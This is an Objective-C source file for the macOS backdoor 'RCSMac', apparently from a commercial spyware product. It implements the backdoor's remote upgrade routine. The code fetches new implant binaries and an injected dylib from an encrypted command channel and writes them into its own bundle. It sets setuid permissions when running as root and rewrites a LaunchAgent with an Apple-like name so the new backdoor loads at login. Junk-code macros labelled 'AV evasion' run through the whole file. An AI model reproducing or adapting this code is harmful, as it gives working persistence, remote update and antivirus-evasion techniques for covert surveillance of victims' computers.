core/Modules/UpgradeNetworkOperation.m
/*
* UpgradeNetworkOperation.m
* RCSMac
*
*
* Created by revenge on 2/3/11.
* Copyright (C) HT srl 2011. All rights reserved
*
*/
#import "RCSMCommon.h"
#import "UpgradeNetworkOperation.h"
#import "NSMutableData+AES128.h"
#import "NSString+SHA1.h"
#import "NSData+SHA1.h"
#import "NSData+Pascal.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#define CORE_UPGRADE @"core"
#define DYLIB_UPGRADE @"inputmanager"
#define KEXT_UPGRADE @"driver"
#import "RCSMAVGarbage.h"
@interface UpgradeNetworkOperation (private)
- (BOOL)_updateFilesForCoreUpgrade: (NSString *)upgradePath;
@end
@implementation UpgradeNetworkOperation (private)
- (BOOL)_updateFilesForCoreUpgrade: (NSString *)upgradePath
{
BOOL success = NO;
u_long permissions;
// AV evasion: only on release build
AV_GARBAGE_008
// FIXED-
if (getuid() == 0 || geteuid() == 0)
permissions = (S_ISUID | S_IRWXU | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
else
permissions = (S_IRWXU | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
// AV evasion: only on release build
AV_GARBAGE_007
NSValue *permission = [NSNumber numberWithUnsignedLong: permissions];
//NSValue *owner = [NSNumber numberWithInt: 0]; // J: unused
// AV evasion: only on release build
AV_GARBAGE_006
NSDictionary *tempDictionary = [NSDictionary dictionaryWithObjectsAndKeys:
permission,
NSFilePosixPermissions,
// owner,
// NSFileOwnerAccountID,
nil];
// AV evasion: only on release build
AV_GARBAGE_003
NSError *err;
success = [[NSFileManager defaultManager] setAttributes: tempDictionary
ofItemAtPath: upgradePath
error: &err];
// AV evasion: only on release build
AV_GARBAGE_005
if (success == NO)
{
return success;
}
// AV evasion: only on release build
AV_GARBAGE_002
// Once the backdoor has been written, edit the backdoor Loader in order to
// load the new updated backdoor upon reboot/login
NSString *backdoorLaunchAgent = createLaunchdPlistPath();
// AV evasion: only on release build
AV_GARBAGE_004
NSError *error = nil;
if ([[NSFileManager defaultManager] removeItemAtPath: backdoorLaunchAgent
error: &error] == NO)
{
#ifdef DEBUG_UP_NOP
errorLog(@"Error while removing LaunchAgent file, reason: %@", [error localizedDescription]);
#endif
}
// AV evasion: only on release build
AV_GARBAGE_000
NSString *backdoorDaemonName = [NSString stringWithFormat:@"%@.%@.%@",
DOMAIN_COM,
DOMAIN_APL,
LAUNCHD_NAME];
success = [gUtil createLaunchAgentPlist: backdoorDaemonName
forBinary: gBackdoorUpdateName];
// AV evasion: only on release build
AV_GARBAGE_002
if (success == NO)
{
#ifdef DEBUG_UP_NOP
errorLog(@"Error while writing backdoor launchAgent plist");
#endif
}
else
{
#ifdef DEBUG_UP_NOP
infoLog(@"LaunchAgent file updated");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_001
return YES;
}
@end
@implementation UpgradeNetworkOperation
- (id)initWithTransport: (RESTTransport *)aTransport
{
if ((self = [super init]))
{
mTransport = aTransport;
// AV evasion: only on release build
AV_GARBAGE_000
return self;
}
return nil;
}
- (void)dealloc
{
[super dealloc];
}
- (BOOL)perform
{
// AV evasion: only on release build
AV_GARBAGE_001
uint32_t command = PROTO_UPGRADE;
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
NSMutableData *commandData = [[NSMutableData alloc] initWithBytes: &command
length: sizeof(uint32_t)];
// AV evasion: only on release build
AV_GARBAGE_003
NSData *commandSha = [commandData sha1Hash];
// AV evasion: only on release build
AV_GARBAGE_002
[commandData appendData: commandSha];
// AV evasion: only on release build
AV_GARBAGE_000
#ifdef DEBUG_UPGRADE_NOP
infoLog(@"commandData: %@", commandData);
#endif
[commandData encryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_009
//
// Send encrypted message
//
NSURLResponse *urlResponse = nil;
NSData *replyData = nil;
NSMutableData *replyDecrypted = nil;
// AV evasion: only on release build
AV_GARBAGE_008
replyData = [mTransport sendData: commandData
returningResponse: urlResponse];
// AV evasion: only on release build
AV_GARBAGE_007
if (replyData == nil)
{
// AV evasion: only on release build
AV_GARBAGE_006
[commandData release];
[outerPool release];
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_005
replyDecrypted = [[NSMutableData alloc] initWithData: replyData];
// AV evasion: only on release build
AV_GARBAGE_004
[replyDecrypted decryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_003
[replyDecrypted getBytes: &command
length: sizeof(uint32_t)];
// AV evasion: only on release build
AV_GARBAGE_002
// remove padding
[replyDecrypted removePadding];
// AV evasion: only on release build
AV_GARBAGE_001
//
// check integrity
//
NSData *shaRemote;
NSData *shaLocal;
@try
{
// AV evasion: only on release build
AV_GARBAGE_003
shaRemote = [replyDecrypted subdataWithRange:
NSMakeRange([replyDecrypted length] - CC_SHA1_DIGEST_LENGTH,
CC_SHA1_DIGEST_LENGTH)];
// AV evasion: only on release build
AV_GARBAGE_000
shaLocal = [replyDecrypted subdataWithRange:
NSMakeRange(0, [replyDecrypted length] - CC_SHA1_DIGEST_LENGTH)];
// AV evasion: only on release build
AV_GARBAGE_001
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_000
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_002
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_006
shaLocal = [shaLocal sha1Hash];
// AV evasion: only on release build
AV_GARBAGE_001
if ([shaRemote isEqualToData: shaLocal] == NO)
{
// AV evasion: only on release build
AV_GARBAGE_000
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_002
return NO;
}
if (command != PROTO_OK)
{
// AV evasion: only on release build
AV_GARBAGE_003
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
uint32_t packetSize = 0;
uint32_t numOfFilesLeft = 0;
uint32_t filenameSize = 0;
uint32_t fileSize = 0;
// AV evasion: only on release build
AV_GARBAGE_000
@try
{
// AV evasion: only on release build
AV_GARBAGE_009
[replyDecrypted getBytes: &packetSize
range: NSMakeRange(4, sizeof(uint32_t))];
// AV evasion: only on release build
AV_GARBAGE_000
[replyDecrypted getBytes: &numOfFilesLeft
range: NSMakeRange(8, sizeof(uint32_t))];
// AV evasion: only on release build
AV_GARBAGE_001
[replyDecrypted getBytes: &filenameSize
range: NSMakeRange(12, sizeof(uint32_t))];
// AV evasion: only on release build
AV_GARBAGE_002
[replyDecrypted getBytes: &fileSize
range: NSMakeRange(16 + filenameSize, sizeof(uint32_t))];
// AV evasion: only on release build
AV_GARBAGE_000
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_003
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_005
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_003
NSData *stringData;
NSData *fileContent;
// AV evasion: only on release build
AV_GARBAGE_002
@try
{
// AV evasion: only on release build
AV_GARBAGE_002
stringData = [[NSData alloc] initWithData:
[replyDecrypted subdataWithRange: NSMakeRange(12, filenameSize + 4)]];
// AV evasion: only on release build
AV_GARBAGE_005
fileContent = [[NSData alloc] initWithData:
[replyDecrypted subdataWithRange: NSMakeRange(16 + filenameSize + 4, fileSize)]];
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_000
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_004
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_006
NSString *filename = [stringData unpascalizeToStringWithEncoding: NSUTF16LittleEndianStringEncoding];
// AV evasion: only on release build
AV_GARBAGE_007
//#define XPC_UPGRADE @"xpc"
if (filename == nil)
{
#ifdef DEBUG_UPGRADE_NOP
errorLog(@"filename is empty, error on unpascalize");
#endif
}
else
{
// AV evasion: only on release build
AV_GARBAGE_002
if ([filename isEqualToString: CORE_UPGRADE])
{
// AV evasion: only on release build
AV_GARBAGE_001
NSString *_upgradePath = [[NSString alloc] initWithFormat: @"%@/%@",
[[NSBundle mainBundle] bundlePath],
gBackdoorUpdateName];
// AV evasion: only on release build
AV_GARBAGE_003
[fileContent writeToFile: _upgradePath
atomically: YES];
if ([self _updateFilesForCoreUpgrade: _upgradePath] == NO)
{
#ifdef DEBUG_UPGRADE_NOP
errorLog(@"Error while updating files for core upgrade");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_003
[_upgradePath release];
}
else if ([filename isEqualToString: DYLIB_UPGRADE])
{
// AV evasion: only on release build
AV_GARBAGE_006
// FIXED-
NSString *_upgradePath = [[NSString alloc] initWithFormat: @"%@/%@",
[[NSBundle mainBundle] bundlePath],
RCS8_UPDATE_DYLIB];
// AV evasion: only on release build
AV_GARBAGE_007
[[NSFileManager defaultManager] removeItemAtPath: _upgradePath
error: nil];
// AV evasion: only on release build
AV_GARBAGE_000
// And write it back
[fileContent writeToFile: _upgradePath
atomically: YES];
// AV evasion: only on release build
AV_GARBAGE_004
[_upgradePath release];
// AV evasion: only on release build
AV_GARBAGE_003
}
else if ([filename isEqualToString: KEXT_UPGRADE])
{
// TODO: Update kext binary inside Resources subfolder
}
else
{
#ifdef DEBUG_UPGRADE_NOP
errorLog(@"Upgrade not supported (%@)", filename);
#endif
}
// else if ([filename isEqualToString: XPC_UPGRADE])
// {
// // AV evasion: only on release build
// AV_GARBAGE_007
//
// // FIXED-
// NSString *_upgradePath = [[NSString alloc] initWithFormat: @"%@/%@",
// [[NSBundle mainBundle] bundlePath],
// RCS8_UPDATE_XPC];
//
// // AV evasion: only on release build
// AV_GARBAGE_008
//
// [[NSFileManager defaultManager] removeItemAtPath: _upgradePath
// error: nil];
//
// // AV evasion: only on release build
// AV_GARBAGE_009
//
// // And write it back
// [fileContent writeToFile: _upgradePath
// atomically: YES];
//
// // AV evasion: only on release build
// AV_GARBAGE_000
//
// [_upgradePath release];
// }
}
// AV evasion: only on release build
AV_GARBAGE_000
[fileContent release];
[stringData release];
// AV evasion: only on release build
AV_GARBAGE_001
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_000
//
// Get files until there's no one left
//
if (numOfFilesLeft != 0)
{
// AV evasion: only on release build
AV_GARBAGE_003
return [self perform];
}
// AV evasion: only on release build
AV_GARBAGE_004
return YES;
}
@end